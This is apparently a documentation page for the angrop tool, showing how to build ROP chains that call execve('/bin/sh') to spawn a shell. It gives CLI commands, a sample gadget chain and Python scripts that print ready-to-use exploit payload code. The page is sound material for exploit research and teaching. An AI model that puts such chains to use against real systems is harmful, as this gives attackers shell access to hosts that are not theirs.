> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/angr/angrop/llms.txt
> Use this file to discover all available pages before exploring further.

# Execve Chain

> Build ROP chains to spawn a shell using execve()

## Overview

This example shows how to build a ROP chain that executes `/bin/sh` using the `execve()` system call. This is one of the most common goals in exploit development.

## CLI Approach

The easiest way to generate an execve chain is using the command-line tool:

```bash theme={null}
angrop-cli chain -t execve /bin/bash
```

### CLI Output Example

```python theme={null}
code_base = 0x0
chain = b""
chain += p64(code_base + 0x36083)  # pop rax; pop rbx; pop rbp; ret 
chain += p64(code_base + 0x30016)  # add rsp, 8; ret 
chain += p64(code_base + 0x34873)
chain += p64(code_base + 0x0)
chain += p64(code_base + 0x9616d)  # mov edx, ebp; mov rsi, r12; mov rdi, rbx; call rax
chain += p64(code_base + 0xe501e)  # pop rsi; ret 0
chain += p64(code_base + 0x0)
chain += p64(code_base + 0x31470)  # execve@plt
chain += p64(0x0)
chain += p64(code_base + 0x10d5bf)
```

This chain:

1. Sets up the necessary registers
2. Prepares arguments for `execve()`
3. Calls `execve@plt` with appropriate arguments

## Python API Approach

<Steps>
  <Step title="Initialize angrop">
    ```python theme={null}
    import angr
    import angrop
    from pwnlib.elf import ELF

    # Load binary with pwntools and angr
    e = ELF("/bin/bash")
    proj = angr.Project("/bin/bash", load_options={'main_opts':{'base_addr': 0}})

    # Create ROP analysis
    rop = proj.analyses.ROP(fast_mode=False, max_sym_mem_access=1, only_check_near_rets=False)
    ```
  </Step>

  <Step title="Find and optimize gadgets">
    ```python theme={null}
    from multiprocessing import cpu_count

    # Find all gadgets
    rop.find_gadgets(processes=cpu_count(), optimize=False)

    # Optimize the gadget graph for better chains
    rop.optimize(processes=cpu_count())
    ```
  </Step>

  <Step title="Build execve chain">
    There are two approaches depending on whether the binary has an `execve` function:

    **Method 1: Using execve\@plt (if available)**

    ```python theme={null}
    # Check if execve exists in PLT or symbols
    execve_addr = None
    if 'execve' in e.plt:
        execve_addr = e.plt['execve']
    elif 'execve' in e.symbols:
        execve_addr = e.symbols['execve']

    if execve_addr:
        # Look for "/bin/sh" string in binary
        sh = next(e.search(b'/bin/sh\x00'), None)
        
        if sh:
            # Use existing "/bin/sh" string
            chain = rop.func_call("execve", [sh, 0, 0], needs_return=False)
        else:
            # Write "/bin/sh" to memory first
            sh = rop.chain_builder._reg_setter._get_ptr_to_writable(proj.arch.bytes)
            chain = rop.write_to_mem(sh, b'/bin/sh\x00') + \
                    rop.func_call("execve", [sh, 0, 0], needs_return=False)
    ```

    **Method 2: Using syscall (if no execve function)**

    ```python theme={null}
    # Use the built-in execve() chain builder
    chain = rop.execve()
    ```
  </Step>

  <Step title="Generate payload">
    ```python theme={null}
    # Print ready-to-use exploit code
    chain.print_payload_code()
    ```
  </Step>
</Steps>

## Complete Example

### Simple execve() Chain

```python theme={null}
import angr
import angrop

# Load the binary
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()

# Find gadgets
rop.find_gadgets()

# Generate execve chain automatically
chain = rop.execve()

# Print the payload
chain.print_payload_code()
```

### Advanced execve() Chain with Memory Write

```python theme={null}
import angr
import angrop
from pwnlib.elf import ELF
from multiprocessing import cpu_count

# Load binary
e = ELF("/bin/bash")
proj = angr.Project("/bin/bash", load_options={'main_opts':{'base_addr': 0}})
rop = proj.analyses.ROP(fast_mode=False, max_sym_mem_access=1, only_check_near_rets=False)

# Find and optimize gadgets
rop.find_gadgets(processes=cpu_count(), optimize=False)
rop.optimize(processes=cpu_count())

# Find execve function
execve_addr = None
if 'execve' in e.plt:
    execve_addr = e.plt['execve']
elif 'execve' in e.symbols:
    execve_addr = e.symbols['execve']

if execve_addr:
    # Check for "/bin/sh" string
    sh = next(e.search(b'/bin/sh\x00'), None)
    
    if sh is None:
        # Write "/bin/sh" to writable memory
        sh = rop.chain_builder._reg_setter._get_ptr_to_writable(proj.arch.bytes)
        chain = rop.write_to_mem(sh, b'/bin/sh\x00') + \
                rop.func_call("execve", [sh, 0, 0], needs_return=False)
    else:
        # Use existing string
        chain = rop.func_call("execve", [sh, 0, 0], needs_return=False)
else:
    # Use syscall-based approach
    chain = rop.execve()

# Print the payload
chain.print_payload_code()
```

## How It Works

An `execve("/bin/sh", NULL, NULL)` chain needs to:

1. **Place "/bin/sh" in memory** - Either find it in the binary or write it to a writable location
2. **Set up arguments** - Set registers/stack for:
   * `arg1`: Pointer to "/bin/sh"
   * `arg2`: NULL (argv)
   * `arg3`: NULL (envp)
3. **Call execve** - Either through PLT, direct symbol, or syscall

## CLI Options

The CLI supports additional options:

```bash theme={null}
# Fast mode (skip optimization)
angrop-cli chain -t execve -f /bin/bash

# System call instead of execve
angrop-cli chain -t system /bin/bash
```

## Understanding the Output

The generated chain uses `code_base + offset` format:

* `code_base = 0x0`: Assumes PIE base is 0 (adjust in your exploit)
* Each `p64()` is either a gadget address or data
* Comments show what each gadget does

In your exploit, you'll need to adjust `code_base` if the binary uses PIE/ASLR.
